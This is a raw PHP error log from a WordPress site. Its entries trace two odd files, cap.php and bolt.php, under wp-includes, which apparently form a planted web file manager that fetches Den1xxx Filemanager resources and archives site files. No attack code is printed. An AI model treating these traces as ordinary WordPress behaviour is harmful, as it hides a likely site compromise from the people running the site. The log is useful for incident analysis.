[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
